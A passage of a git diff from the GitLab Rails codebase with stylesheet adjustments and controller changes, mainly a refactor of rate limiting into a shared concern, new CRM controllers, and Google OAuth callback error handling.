+.gl-search-box-by-type-input.gl-form-input {
+ height: 2rem;
+ padding-right: 2rem;
+ padding-left: 1.75rem;
+}
body,
.form-control,
.search form {
@@ -893,9 +944,9 @@ input {
background-color: #d99530;
height: 12px;
width: 12px;
- margin-top: -15px;
pointer-events: none;
visibility: hidden;
+ top: 3px;
}
.top-nav-toggle .dropdown-icon {
margin-right: 0.5rem;
@@ -1120,6 +1171,11 @@ input {
border-right: 0.25rem solid #000;
border-right-color: var(--black, #000);
}
+@media (min-width: 576px) {
+ .nav-sidebar a.has-sub-items + .sidebar-sub-level-items {
+ min-width: 150px;
+ }
+}
.nav-sidebar a.has-sub-items + .sidebar-sub-level-items .fly-out-top-item {
display: none;
}
@@ -1310,6 +1366,12 @@ input {
font-weight: 400;
color: #0b5cad;
}
+.sidebar-top-level-items li > a.gl-link {
+ color: #303030;
+}
+.sidebar-top-level-items li > a.gl-link:active {
+ text-decoration: none;
+}
.sidebar-sub-level-items {
padding-top: 0;
padding-bottom: 0;
@@ -1626,6 +1688,9 @@ svg.s16 {
display: block;
}
}
+.gl-relative {
+ position: relative;
+}
.gl-absolute {
position: absolute;
}
diff --git a/app/assets/stylesheets/themes/dark_mode_overrides.scss b/app/assets/stylesheets/themes/dark_mode_overrides.scss
index 2b5751cab36..bb9a9cf0497 100644
--- a/app/assets/stylesheets/themes/dark_mode_overrides.scss
+++ b/app/assets/stylesheets/themes/dark_mode_overrides.scss
@@ -122,6 +122,10 @@ body.gl-dark {
background-color: var(--gray-100);
box-shadow: inset 0 0 0 1px var(--blue-200);
}
+
+ .search-input {
+ color: var(--gl-text-color);
+ }
}
}
}
diff --git a/app/assets/stylesheets/themes/theme_helper.scss b/app/assets/stylesheets/themes/theme_helper.scss
index 1332686a906..e119af716a6 100644
--- a/app/assets/stylesheets/themes/theme_helper.scss
+++ b/app/assets/stylesheets/themes/theme_helper.scss
@@ -154,6 +154,7 @@
input {
background-color: transparent;
color: rgba($search-and-nav-links, 0.8);
+ box-shadow: inset 0 0 0 1px rgba($search-and-nav-links, 0.4);
&::placeholder {
color: rgba($search-and-nav-links, 0.8);
diff --git a/app/assets/stylesheets/utilities.scss b/app/assets/stylesheets/utilities.scss
index 7e46f16e1d0..2623de80fe9 100644
--- a/app/assets/stylesheets/utilities.scss
+++ b/app/assets/stylesheets/utilities.scss
@@ -226,6 +226,16 @@ $gl-line-height-42: px-to-rem(42px);
max-height: none !important;
}
+// Will be moved to @gitlab/ui in https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1655
+.gl-max-w-62 {
+ max-width: $grid-size * 62;
+}
+
+// Will be moved to @gitlab/ui in https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1655
+.gl-max-w-26 {
+ max-width: $grid-size * 26;
+}
+
.gl-max-w-50p {
max-width: 50%;
}
@@ -291,9 +301,9 @@ $gl-line-height-42: px-to-rem(42px);
@include gl-focus($gl-border-size-1, $gray-900, true);
}
-// Will be moved to @gitlab/ui by https://gitlab.com/gitlab-org/gitlab-ui/-/merge_requests/2476
-.gl-md-max-w-50p {
- @include gl-media-breakpoint-up(md) {
- max-width: 50%;
+// Will be moved to @gitlab/ui by https://gitlab.com/gitlab-org/gitlab-ui/-/issues/1637
+.gl-lg-w-25p {
+ @include gl-media-breakpoint-up(lg) {
+ width: 25%;
}
}
diff --git a/app/controllers/admin/plan_limits_controller.rb b/app/controllers/admin/plan_limits_controller.rb
index 88bc5ea0198..420fd93fad5 100644
--- a/app/controllers/admin/plan_limits_controller.rb
+++ b/app/controllers/admin/plan_limits_controller.rb
@@ -31,6 +31,7 @@ class Admin::PlanLimitsController < Admin::ApplicationController
params.require(:plan_limits).permit(%i[
plan_id
conan_max_file_size
+ helm_max_file_size
maven_max_file_size
npm_max_file_size
nuget_max_file_size
diff --git a/app/controllers/admin/version_check_controller.rb b/app/controllers/admin/version_check_controller.rb
new file mode 100644
index 00000000000..dde1a7abafa
--- /dev/null
+++ b/app/controllers/admin/version_check_controller.rb
@@ -0,0 +1,12 @@
+# frozen_string_literal: true
+
+class Admin::VersionCheckController < Admin::ApplicationController
+ feature_category :not_owned
+
+ def version_check
+ response = VersionCheck.new.response
+
+ expires_in 1.minute if response
+ render json: response
+ end
+end
diff --git a/app/controllers/application_controller.rb b/app/controllers/application_controller.rb
index 3af1afab06e..d3ecbdcc1f6 100644
--- a/app/controllers/application_controller.rb
+++ b/app/controllers/application_controller.rb
@@ -23,6 +23,7 @@ class ApplicationController < ActionController::Base
include Gitlab::Utils::StrongMemoize
include ::Gitlab::EndpointAttributes
include FlocOptOut
+ include CheckRateLimit
before_action :authenticate_user!, except: [:route_not_found]
before_action :enforce_terms!, if: :should_enforce_terms?
@@ -66,10 +67,6 @@ class ApplicationController < ActionController::Base
:manifest_import_enabled?, :phabricator_import_enabled?,
:masked_page_url
- # Adds `no-store` to the DEFAULT_CACHE_CONTROL, to prevent security
- # concerns due to caching private data.
- DEFAULT_GITLAB_CACHE_CONTROL = "#{ActionDispatch::Http::Cache::Response::DEFAULT_CACHE_CONTROL}, no-store"
-
def self.endpoint_id_for_action(action_name)
"#{self.name}##{action_name}"
end
@@ -283,10 +280,7 @@ class ApplicationController < ActionController::Base
end
def default_cache_headers
- if current_user
- headers['Cache-Control'] = default_cache_control
- headers['Pragma'] = 'no-cache' # HTTP 1.0 compatibility
- end
+ headers['Pragma'] = 'no-cache' # HTTP 1.0 compatibility
end
def stream_csv_headers(csv_filename)
@@ -297,14 +291,6 @@ class ApplicationController < ActionController::Base
headers['Content-Disposition'] = "attachment; filename=\"#{csv_filename}\""
end
- def default_cache_control
- if request.xhr?
- ActionDispatch::Http::Cache::Response::DEFAULT_CACHE_CONTROL
- else
- DEFAULT_GITLAB_CACHE_CONTROL
- end
- end
-
def validate_user_service_ticket!
return unless signed_in? && session[:service_tickets]
diff --git a/app/controllers/autocomplete_controller.rb b/app/controllers/autocomplete_controller.rb
index 5cb5690d72d..c32a7f10aa4 100644
--- a/app/controllers/autocomplete_controller.rb
+++ b/app/controllers/autocomplete_controller.rb
@@ -9,6 +9,8 @@ class AutocompleteController < ApplicationController
feature_category :code_review, [:merge_request_target_branches]
feature_category :continuous_delivery, [:deploy_keys_with_owners]
+ urgency :low, [:merge_request_target_branches]
+
def users
group = Autocomplete::GroupFinder
.new(current_user, project, params)
diff --git a/app/controllers/clusters/clusters_controller.rb b/app/controllers/clusters/clusters_controller.rb
index 32de9e69c85..15a261f572a 100644
--- a/app/controllers/clusters/clusters_controller.rb
+++ b/app/controllers/clusters/clusters_controller.rb
@@ -280,7 +280,10 @@ class Clusters::ClustersController < Clusters::BaseController
end
def generate_gcp_authorize_url
- state = generate_session_key_redirect(clusterable.new_path(provider: :gcp).to_s)
+ new_path = clusterable.new_path(provider: :gcp).to_s
+ error_path = @project ? project_clusters_path(@project) : new_path
+
+ state = generate_session_key_redirect(new_path, error_path)
@authorize_url = GoogleApi::CloudPlatform::Client.new(
nil, callback_google_api_auth_url,
@@ -339,9 +342,10 @@ class Clusters::ClustersController < Clusters::BaseController
session[GoogleApi::CloudPlatform::Client.session_key_for_expires_at]
end
- def generate_session_key_redirect(uri)
+ def generate_session_key_redirect(uri, error_uri)
GoogleApi::CloudPlatform::Client.new_session_key_for_redirect_uri do |key|
session[key] = uri
+ session[:error_uri] = error_uri
end
end
diff --git a/app/controllers/concerns/authenticates_with_two_factor.rb b/app/controllers/concerns/authenticates_with_two_factor.rb
index da5b7ccfbf0..14dcec33545 100644
--- a/app/controllers/concerns/authenticates_with_two_factor.rb
+++ b/app/controllers/concerns/authenticates_with_two_factor.rb
@@ -23,9 +23,9 @@ module AuthenticatesWithTwoFactor
session[:otp_user_id] = user.id
session[:user_password_hash] = Digest::SHA256.hexdigest(user.encrypted_password)
- push_frontend_feature_flag(:webauthn)
+ push_frontend_feature_flag(:webauthn, default_enabled: :yaml)
- if user.two_factor_webauthn_enabled?
+ if Feature.enabled?(:webauthn, default_enabled: :yaml)
setup_webauthn_authentication(user)
else
setup_u2f_authentication(user)
diff --git a/app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb b/app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb
index 574fc6c0f37..05be04059fd 100644
--- a/app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb
+++ b/app/controllers/concerns/authenticates_with_two_factor_for_admin_mode.rb
@@ -11,7 +11,7 @@ module AuthenticatesWithTwoFactorForAdminMode
return handle_locked_user(user) unless user.can?(:log_in)
session[:otp_user_id] = user.id
- push_frontend_feature_flag(:webauthn)
+ push_frontend_feature_flag(:webauthn, default_enabled: :yaml)
if user.two_factor_webauthn_enabled?
setup_webauthn_authentication(user)
diff --git a/app/controllers/concerns/check_rate_limit.rb b/app/controllers/concerns/check_rate_limit.rb
index c4de3315e22..5ccdf843525 100644
--- a/app/controllers/concerns/check_rate_limit.rb
+++ b/app/controllers/concerns/check_rate_limit.rb
@@ -5,19 +5,27 @@
# Controller concern that checks if the rate limit for a given action is throttled by calling the
# Gitlab::ApplicationRateLimiter class. If the action is throttled for the current user, the request
# will be logged and an error message will be rendered with a Too Many Requests response status.
+# See lib/api/helpers/rate_limiter.rb for API version
module CheckRateLimit
- def check_rate_limit(key)
- return unless rate_limiter.throttled?(key, scope: current_user, users_allowlist: rate_limit_users_allowlist)
+ def check_rate_limit!(key, scope:, redirect_back: false, **options)
+ return unless rate_limiter.throttled?(key, scope: scope, **options)
rate_limiter.log_request(request, "#{key}_request_limit".to_sym, current_user)
- render plain: _('This endpoint has been requested too many times. Try again later.'), status: :too_many_requests
+
+ return yield if block_given?
+
+ message = _('This endpoint has been requested too many times. Try again later.')
+
+ if redirect_back
+ redirect_back_or_default(options: { alert: message })
+ else
+ render plain: message, status: :too_many_requests
+ end
end
+ private
+
def rate_limiter
::Gitlab::ApplicationRateLimiter
end
-
- def rate_limit_users_allowlist
- Gitlab::CurrentSettings.current_application_settings.notes_create_limit_allowlist
- end
end
diff --git a/app/controllers/concerns/cycle_analytics_params.rb b/app/controllers/concerns/cycle_analytics_params.rb
index 626093b4588..70bcefe339c 100644
--- a/app/controllers/concerns/cycle_analytics_params.rb
+++ b/app/controllers/concerns/cycle_analytics_params.rb
@@ -23,6 +23,7 @@ module CycleAnalyticsParams
opts[:from] = params[:from] || start_date(params)
opts[:to] = params[:to] if params[:to]
opts[:end_event_filter] = params[:end_event_filter] if params[:end_event_filter]
+ opts[:use_aggregated_data_collector] = params[:use_aggregated_data_collector] if params[:use_aggregated_data_collector]
opts.merge!(params.slice(*::Gitlab::Analytics::CycleAnalytics::RequestParams::FINDER_PARAM_NAMES))
opts.merge!(date_range(params))
end
diff --git a/app/controllers/concerns/dependency_proxy/group_access.rb b/app/controllers/concerns/dependency_proxy/group_access.rb
index 07aca72b22f..44611641529 100644
--- a/app/controllers/concerns/dependency_proxy/group_access.rb
+++ b/app/controllers/concerns/dependency_proxy/group_access.rb
@@ -5,13 +5,13 @@ module DependencyProxy
extend ActiveSupport::Concern
included do
- before_action :verify_dependency_proxy_enabled!
+ before_action :verify_dependency_proxy_available!
before_action :authorize_read_dependency_proxy!
end
private
- def verify_dependency_proxy_enabled!
+ def verify_dependency_proxy_available!
render_404 unless group&.dependency_proxy_feature_available?
end
diff --git a/app/controllers/concerns/integrations/actions.rb b/app/controllers/concerns/integrations/actions.rb
index 6490742c0f8..1f788860c8f 100644
--- a/app/controllers/concerns/integrations/actions.rb
+++ b/app/controllers/concerns/integrations/actions.rb
@@ -23,7 +23,7 @@ module Integrations::Actions
format.html do
if saved
PropagateIntegrationWorker.perform_async(integration.id)
- redirect_to scoped_edit_integration_path(integration), notice: success_message
+ redirect_to scoped_edit_integration_path(integration, project: integration.project, group: integration.group), notice: success_message
else
render 'shared/integrations/edit'
end
diff --git a/app/controllers/concerns/integrations/hooks_execution.rb b/app/controllers/concerns/integrations/hooks_execution.rb
index af039057a9c..6a9d3d51f9b 100644
--- a/app/controllers/concerns/integrations/hooks_execution.rb
+++ b/app/controllers/concerns/integrations/hooks_execution.rb
@@ -32,16 +32,4 @@ module Integrations::HooksExecution
flash[:alert] = "Hook execution failed: #{message}"
end
end
-
- def create_rate_limit(key, scope)
- if rate_limiter.throttled?(key, scope: [scope, current_user])
- rate_limiter.log_request(request, "#{key}_request_limit".to_sym, current_user)
-
- render plain: _('This endpoint has been requested too many times. Try again later.'), status: :too_many_requests
- end
- end
-
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
end
diff --git a/app/controllers/concerns/issuable_actions.rb b/app/controllers/concerns/issuable_actions.rb
index 2d7fbb78209..bac9732018c 100644
--- a/app/controllers/concerns/issuable_actions.rb
+++ b/app/controllers/concerns/issuable_actions.rb
@@ -17,6 +17,7 @@ module IssuableActions
def show
respond_to do |format|
format.html do
+ @show_crm_contacts = issuable.is_a?(Issue) && can?(current_user, :read_crm_contact, issuable.project.group) # rubocop:disable Gitlab/ModuleWithInstanceVariables
@issuable_sidebar = serializer.represent(issuable, serializer: 'sidebar') # rubocop:disable Gitlab/ModuleWithInstanceVariables
render 'show'
end
diff --git a/app/controllers/concerns/membership_actions.rb b/app/controllers/concerns/membership_actions.rb
index 8fd4e98d557..f716c1f6c2f 100644
--- a/app/controllers/concerns/membership_actions.rb
+++ b/app/controllers/concerns/membership_actions.rb
@@ -26,7 +26,6 @@ module MembershipActions
member_data = if member.expires?
{
- expires_in: helpers.distance_of_time_in_words_to_now(member.expires_at),
expires_soon: member.expires_soon?,
expires_at_formatted: member.expires_at.to_time.in_time_zone.to_s(:medium)
}
diff --git a/app/controllers/concerns/notes_actions.rb b/app/controllers/concerns/notes_actions.rb
index c2ee735a2b5..8410a8779f6 100644
--- a/app/controllers/concerns/notes_actions.rb
+++ b/app/controllers/concerns/notes_actions.rb
@@ -3,7 +3,6 @@
module NotesActions
include RendersNotes
include Gitlab::Utils::StrongMemoize
- include CheckRateLimit
extend ActiveSupport::Concern
# last_fetched_at is an integer number of microseconds, which is the same
@@ -16,7 +15,11 @@ module NotesActions
before_action :require_noteable!, only: [:index, :create]
before_action :authorize_admin_note!, only: [:update, :destroy]
before_action :note_project, only: [:create]
- before_action -> { check_rate_limit(:notes_create) }, only: [:create]
+ before_action -> {
+ check_rate_limit!(:notes_create,
+ scope: current_user,
+ users_allowlist: Gitlab::CurrentSettings.current_application_settings.notes_create_limit_allowlist)
+ }, only: [:create]
end
def index
@@ -341,3 +344,5 @@ module NotesActions
noteable.discussions_rendered_on_frontend?
end
end
+
+NotesActions.prepend_mod_with('NotesActions')
diff --git a/app/controllers/concerns/one_trust_csp.rb b/app/controllers/concerns/one_trust_csp.rb
index fbd44f52590..cd35eeb587c 100644
--- a/app/controllers/concerns/one_trust_csp.rb
+++ b/app/controllers/concerns/one_trust_csp.rb
@@ -8,11 +8,11 @@ module OneTrustCSP
next unless helpers.one_trust_enabled? || policy.directives.present?
default_script_src = policy.directives['script-src'] || policy.directives['default-src']
- script_src_values = Array.wrap(default_script_src) | ["'unsafe-eval'", 'https://cdn.cookielaw.org https://*.onetrust.com']
+ script_src_values = Array.wrap(default_script_src) | ["'unsafe-eval'", 'https://cdn.cookielaw.org', 'https://*.onetrust.com']
policy.script_src(*script_src_values)
default_connect_src = policy.directives['connect-src'] || policy.directives['default-src']
- connect_src_values = Array.wrap(default_connect_src) | ['https://cdn.cookielaw.org']
+ connect_src_values = Array.wrap(default_connect_src) | ['https://cdn.cookielaw.org', 'https://*.onetrust.com']
policy.connect_src(*connect_src_values)
end
end
diff --git a/app/controllers/concerns/preview_markdown.rb b/app/controllers/concerns/preview_markdown.rb
index 2916762e31f..1d2f9e31c46 100644
--- a/app/controllers/concerns/preview_markdown.rb
+++ b/app/controllers/concerns/preview_markdown.rb
@@ -21,7 +21,7 @@ module PreviewMarkdown
def projects_filter_params
{
- issuable_state_filter_enabled: true,
+ issuable_reference_expansion_enabled: true,
suggestions_filter_enabled: params[:preview_suggestions].present?
}
end
diff --git a/app/controllers/concerns/snippets/blobs_actions.rb b/app/controllers/concerns/snippets/blobs_actions.rb
index db56ce8f193..b510594ad63 100644
--- a/app/controllers/concerns/snippets/blobs_actions.rb
+++ b/app/controllers/concerns/snippets/blobs_actions.rb
@@ -51,3 +51,5 @@ module Snippets::BlobsActions
params[:snippet_id]
end
end
+
+Snippets::BlobsActions.prepend_mod
diff --git a/app/controllers/concerns/sourcegraph_decorator.rb b/app/controllers/concerns/sourcegraph_decorator.rb
index 5ef09b9221f..061990a4361 100644
--- a/app/controllers/concerns/sourcegraph_decorator.rb
+++ b/app/controllers/concerns/sourcegraph_decorator.rb
@@ -11,7 +11,7 @@ module SourcegraphDecorator
next unless Gitlab::CurrentSettings.sourcegraph_enabled
default_connect_src = p.directives['connect-src'] || p.directives['default-src']
- connect_src_values = Array.wrap(default_connect_src) | [Gitlab::CurrentSettings.sourcegraph_url]
+ connect_src_values = Array.wrap(default_connect_src) | [Gitlab::Utils.append_path(Gitlab::CurrentSettings.sourcegraph_url, '.api/')]
p.connect_src(*connect_src_values)
end
end
diff --git a/app/controllers/concerns/wiki_actions.rb b/app/controllers/concerns/wiki_actions.rb
index 848b7ee44c5..714a6f280f3 100644
--- a/app/controllers/concerns/wiki_actions.rb
+++ b/app/controllers/concerns/wiki_actions.rb
@@ -21,6 +21,10 @@ module WikiActions
before_action :load_sidebar, except: [:pages]
before_action :set_content_class
+ before_action do
+ push_frontend_feature_flag(:wiki_switch_between_content_editor_raw_markdown, @group, default_enabled: :yaml)
+ end
+
before_action only: [:show, :edit, :update] do
@valid_encoding = valid_encoding?
end
@@ -79,7 +83,8 @@ module WikiActions
render 'shared/wikis/show'
elsif file_blob
- send_blob(wiki.repository, file_blob)
+ # This is needed by [GitLab JH](https://gitlab.com/gitlab-jh/gitlab/-/issues/247)
+ send_wiki_file_blob(wiki, file_blob)
elsif show_create_form?
# Assign a title to the WikiPage unless `id` is a randomly generated slug from #new
title = params[:id] unless params[:random_title].present?
@@ -301,4 +306,10 @@ module WikiActions
view: diff_view
}
end
+
+ def send_wiki_file_blob(wiki, file_blob)
+ send_blob(wiki.repository, file_blob)
+ end
end
+
+WikiActions.prepend_mod
diff --git a/app/controllers/confirmations_controller.rb b/app/controllers/confirmations_controller.rb
index 6725e19df25..dd30d688fa8 100644
--- a/app/controllers/confirmations_controller.rb
+++ b/app/controllers/confirmations_controller.rb
@@ -3,6 +3,7 @@
class ConfirmationsController < Devise::ConfirmationsController
include AcceptsPendingInvitations
include GitlabRecaptcha
+ include OneTrustCSP
prepend_before_action :check_recaptcha, only: :create
before_action :load_recaptcha, only: :new
diff --git a/app/controllers/dashboard_controller.rb b/app/controllers/dashboard_controller.rb
index 8d7686a95fb..2ecd17db487 100644
--- a/app/controllers/dashboard_controller.rb
+++ b/app/controllers/dashboard_controller.rb
@@ -18,6 +18,8 @@ class DashboardController < Dashboard::ApplicationController
feature_category :team_planning, [:issues, :issues_calendar]
feature_category :code_review, [:merge_requests]
+ urgency :low, [:merge_requests]
+
def activity
respond_to do |format|
format.html
diff --git a/app/controllers/google_api/authorizations_controller.rb b/app/controllers/google_api/authorizations_controller.rb
index 76a1c43dfa3..b9c5e87c69c 100644
--- a/app/controllers/google_api/authorizations_controller.rb
+++ b/app/controllers/google_api/authorizations_controller.rb
@@ -8,19 +8,36 @@ module GoogleApi
feature_category :kubernetes_management
+ ##
+ # handle the response from google after the user
+ # goes through authentication and authorization process
def callback
- token, expires_at = GoogleApi::CloudPlatform::Client
- .new(nil, callback_google_api_auth_url)
- .get_token(params[:code])
-
- session[GoogleApi::CloudPlatform::Client.session_key_for_token] = token
- session[GoogleApi::CloudPlatform::Client.session_key_for_expires_at] =
- expires_at.to_s
-
+ redirect_uri = redirect_uri_from_session
+ ##
+ # when the user declines authorizations
+ # `error` param is returned
+ if params[:error]
+ flash[:alert] = _('Google Cloud authorizations required')
+ redirect_uri = session[:error_uri]
+ ##
+ # on success, the `code` param is returned
+ elsif params[:code]
+ token, expires_at = GoogleApi::CloudPlatform::Client
+ .new(nil, callback_google_api_auth_url)
+ .get_token(params[:code])
+
+ session[GoogleApi::CloudPlatform::Client.session_key_for_token] = token
+ session[GoogleApi::CloudPlatform::Client.session_key_for_expires_at] = expires_at.to_s
+ redirect_uri = redirect_uri_from_session
+ end
+ ##
+ # or google may just timeout
rescue ::Faraday::TimeoutError, ::Faraday::ConnectionFailed
flash[:alert] = _('Timeout connecting to the Google API. Please try again.')
+ ##
+ # regardless, we redirect the user appropriately
ensure
- redirect_to redirect_uri_from_session
+ redirect_to redirect_uri
end
private
diff --git a/app/controllers/graphql_controller.rb b/app/controllers/graphql_controller.rb
index 899fa614949..f48d03869a4 100644
--- a/app/controllers/graphql_controller.rb
+++ b/app/controllers/graphql_controller.rb
@@ -50,6 +50,8 @@ class GraphqlController < ApplicationController
end
rescue_from StandardError do |exception|
+ @exception_object = exception
+
log_exception(exception)
if Rails.env.test? || Rails.env.development?
@@ -197,7 +199,9 @@ class GraphqlController < ApplicationController
# Merging to :metadata will ensure these are logged as top level keys
payload[:metadata] ||= {}
- payload[:metadata].merge!(graphql: logs)
+ payload[:metadata][:graphql] = logs
+
+ payload[:exception_object] = @exception_object if @exception_object
end
def logs
diff --git a/app/controllers/groups/autocomplete_sources_controller.rb b/app/controllers/groups/autocomplete_sources_controller.rb
index 82f8854bd2b..17cdcd9cb9b 100644
--- a/app/controllers/groups/autocomplete_sources_controller.rb
+++ b/app/controllers/groups/autocomplete_sources_controller.rb
@@ -5,6 +5,8 @@ class Groups::AutocompleteSourcesController < Groups::ApplicationController
feature_category :team_planning, [:issues, :labels, :milestones, :commands]
feature_category :code_review, [:merge_requests]
+ urgency :low, [:merge_requests]
+
def members
render json: ::Groups::ParticipantsService.new(@group, current_user).execute(target)
end
diff --git a/app/controllers/groups/boards_controller.rb b/app/controllers/groups/boards_controller.rb
index 3152c4d733f..3fbcb2fd7aa 100644
--- a/app/controllers/groups/boards_controller.rb
+++ b/app/controllers/groups/boards_controller.rb
@@ -11,7 +11,6 @@ class Groups::BoardsController < Groups::ApplicationController
push_frontend_feature_flag(:board_multi_select, group, default_enabled: :yaml)
push_frontend_feature_flag(:swimlanes_buffered_rendering, group, default_enabled: :yaml)
push_frontend_feature_flag(:iteration_cadences, group, default_enabled: :yaml)
- push_frontend_feature_flag(:labels_widget, group, default_enabled: :yaml)
experiment(:prominent_create_board_btn, subject: current_user) do |e|
e.use { }
e.try { }
diff --git a/app/controllers/groups/crm/contacts_controller.rb b/app/controllers/groups/crm/contacts_controller.rb
new file mode 100644
index 00000000000..f00f4d1df25
--- /dev/null
+++ b/app/controllers/groups/crm/contacts_controller.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class Groups::Crm::ContactsController < Groups::ApplicationController
+ feature_category :team_planning
+
+ before_action :authorize_read_crm_contact!
+
+ def new
+ render action: "index"
+ end
+
+ def edit
+ render action: "index"
+ end
+
+ private
+
+ def authorize_read_crm_contact!
+ render_404 unless can?(current_user, :read_crm_contact, group)
+ end
+end
diff --git a/app/controllers/groups/crm/organizations_controller.rb b/app/controllers/groups/crm/organizations_controller.rb
new file mode 100644
index 00000000000..ab720f490be
--- /dev/null
+++ b/app/controllers/groups/crm/organizations_controller.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+class Groups::Crm::OrganizationsController < Groups::ApplicationController
+ feature_category :team_planning
+
+ before_action :authorize_read_crm_organization!
+
+ def new
+ render action: "index"
+ end
+
+ private
+
+ def authorize_read_crm_organization!
+ render_404 unless can?(current_user, :read_crm_organization, group)
+ end
+end
diff --git a/app/controllers/groups/crm_controller.rb b/app/controllers/groups/crm_controller.rb
deleted file mode 100644
index 40661b09be6..00000000000
--- a/app/controllers/groups/crm_controller.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-# frozen_string_literal: true
-
-class Groups::CrmController < Groups::ApplicationController
- feature_category :team_planning
-
- before_action :authorize_read_crm_contact!, only: [:contacts]
- before_action :authorize_read_crm_organization!, only: [:organizations]
-
- def contacts
- respond_to do |format|
- format.html
- end
- end
-
- def organizations
- respond_to do |format|
- format.html
- end
- end
-
- private
-
- def authorize_read_crm_contact!
- render_404 unless can?(current_user, :read_crm_contact, group)
- end
-
- def authorize_read_crm_organization!
- render_404 unless can?(current_user, :read_crm_organization, group)
- end
-end
diff --git a/app/controllers/groups/dependency_proxies_controller.rb b/app/controllers/groups/dependency_proxies_controller.rb
index b037aa52939..2e120de435e 100644
--- a/app/controllers/groups/dependency_proxies_controller.rb
+++ b/app/controllers/groups/dependency_proxies_controller.rb
@@ -5,30 +5,19 @@ module Groups
include ::DependencyProxy::GroupAccess
before_action :authorize_admin_dependency_proxy!, only: :update
- before_action :dependency_proxy
+ before_action :verify_dependency_proxy_enabled!
feature_category :package_registry
- def show
- @blobs_count = group.dependency_proxy_blobs.count
- @blobs_total_size = group.dependency_proxy_blobs.total_size
- end
-
- def update
- dependency_proxy.update(dependency_proxy_params)
-
- redirect_to group_dependency_proxy_path(group)
- end
-
private
def dependency_proxy
@dependency_proxy ||=
- group.dependency_proxy_setting || group.create_dependency_proxy_setting
+ group.dependency_proxy_setting || group.create_dependency_proxy_setting!
end
- def dependency_proxy_params
- params.require(:dependency_proxy_group_setting).permit(:enabled)
+ def verify_dependency_proxy_enabled!
+ render_404 unless dependency_proxy.enabled?
end
end
end
diff --git a/app/controllers/groups/dependency_proxy_for_containers_controller.rb b/app/controllers/groups/dependency_proxy_for_containers_controller.rb
index fc930ffebbd..171314b5f26 100644
--- a/app/controllers/groups/dependency_proxy_for_containers_controller.rb
+++ b/app/controllers/groups/dependency_proxy_for_containers_controller.rb
@@ -19,7 +19,7 @@ class Groups::DependencyProxyForContainersController < ::Groups::DependencyProxy
feature_category :dependency_proxy
def manifest
- result = DependencyProxy::FindOrCreateManifestService.new(group, image, tag, token).execute
+ result = DependencyProxy::FindCachedManifestService.new(group, image, tag, token).execute
if result[:status] == :success
if result[:manifest]
diff --git a/app/controllers/groups/variables_controller.rb b/app/controllers/groups/variables_controller.rb
index 9dbbd385ea8..1e23db9f32b 100644
--- a/app/controllers/groups/variables_controller.rb
+++ b/app/controllers/groups/variables_controller.rb
@@ -8,6 +8,8 @@ module Groups
feature_category :pipeline_authoring
+ urgency :low, [:show]
+
def show
respond_to do |format|
format.json do
diff --git a/app/controllers/groups_controller.rb b/app/controllers/groups_controller.rb
index 6ae711a6e14..62336c7eede 100644
--- a/app/controllers/groups_controller.rb
+++ b/app/controllers/groups_controller.rb
@@ -37,7 +37,7 @@ class GroupsController < Groups::ApplicationController
push_frontend_feature_flag(:iteration_cadences, @group, default_enabled: :yaml)
end
- before_action :export_rate_limit, only: [:export, :download_export]
+ before_action :check_export_rate_limit!, only: [:export, :download_export]
helper_method :captcha_required?
@@ -59,6 +59,9 @@ class GroupsController < Groups::ApplicationController
feature_category :projects, [:projects]
feature_category :importers, [:export, :download_export]
+ urgency :high, [:unfoldered_environment_names]
+ urgency :low, [:merge_requests]
+
def index
redirect_to(current_user ? dashboard_groups_path : explore_groups_path)
end
@@ -92,7 +95,6 @@ class GroupsController < Groups::ApplicationController
if @group.import_state&.in_progress?
redirect_to group_import_path(@group)
else
- publish_invite_members_for_task_experiment
render_show_html
end
end
@@ -312,16 +314,12 @@ class GroupsController < Groups::ApplicationController
url_for(safe_params)
end
- def export_rate_limit
+ def check_export_rate_limit!
prefixed_action = "group_#{params[:action]}".to_sym
scope = params[:action] == :download_export ? @group : nil
- if Gitlab::ApplicationRateLimiter.throttled?(prefixed_action, scope: [current_user, scope].compact)
- Gitlab::ApplicationRateLimiter.log_request(request, "#{prefixed_action}_request_limit".to_sym, current_user)
-
- render plain: _('This endpoint has been requested too many times. Try again later.'), status: :too_many_requests
- end
+ check_rate_limit!(prefixed_action, scope: [current_user, scope].compact)
end
def ensure_export_enabled
@@ -380,13 +378,6 @@ class GroupsController < Groups::ApplicationController
def captcha_required?
captcha_enabled? && !params[:parent_id]
end
-
- def publish_invite_members_for_task_experiment
- return unless params[:open_modal] == 'invite_members_for_task'
- return unless current_user&.can?(:admin_group_member, @group)
-
- experiment(:invite_members_for_task, namespace: @group).publish_to_client
- end
end
GroupsController.prepend_mod_with('GroupsController')
diff --git a/app/controllers/help_controller.rb b/app/controllers/help_controller.rb
index e0020c22145..f267d383804 100644
--- a/app/controllers/help_controller.rb
+++ b/app/controllers/help_controller.rb
@@ -59,10 +59,6 @@ class HelpController < ApplicationController
@instance_configuration = InstanceConfiguration.new
end
- def ui
- @user = User.new(id: 0, name: 'John Doe', username: '@johndoe')
- end
-
private
def path_params
diff --git a/app/controllers/import/base_controller.rb b/app/controllers/import/base_controller.rb
index 53856e4575b..7ad3a2ee358 100644
--- a/app/controllers/import/base_controller.rb
+++ b/app/controllers/import/base_controller.rb
@@ -3,7 +3,7 @@
class Import::BaseController < ApplicationController
include ActionView::Helpers::SanitizeHelper
- before_action :import_rate_limit, only: [:create]
+ before_action -> { check_rate_limit!(:project_import, scope: [current_user, :project_import], redirect_back: true) }, only: [:create]
feature_category :importers
def status
@@ -98,18 +98,4 @@ class Import::BaseController < ApplicationController
def project_save_error(project)
project.errors.full_messages.join(', ')
end
-
- def import_rate_limit
- key = "project_import".to_sym
-
- if rate_limiter.throttled?(key, scope: [current_user, key])
- rate_limiter.log_request(request, "#{key}_request_limit".to_sym, current_user)
-
- redirect_back_or_default(options: { alert: _('This endpoint has been requested too many times. Try again later.') })
- end
- end
-
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
end
diff --git a/app/controllers/import/bulk_imports_controller.rb b/app/controllers/import/bulk_imports_controller.rb
index bec26cb547d..f26c06b7e37 100644
--- a/app/controllers/import/bulk_imports_controller.rb
